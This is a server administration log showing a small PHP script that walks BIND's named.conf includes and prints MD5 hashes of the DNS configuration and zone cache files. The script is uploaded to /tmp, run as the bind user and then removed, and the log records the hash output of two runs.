MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 14c1edeb05e4031ffc2f3b7e0fb4d902
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 13:47:42: Establishing a connection
2026-02-09 13:47:42: 

PUT: /tmp/pkp459924

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 13:47:42: 

runuser -l bind -s /bin/bash -c '/tmp/pkp459924; rm /tmp/pkp459924'

2026-02-09 13:47:42: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
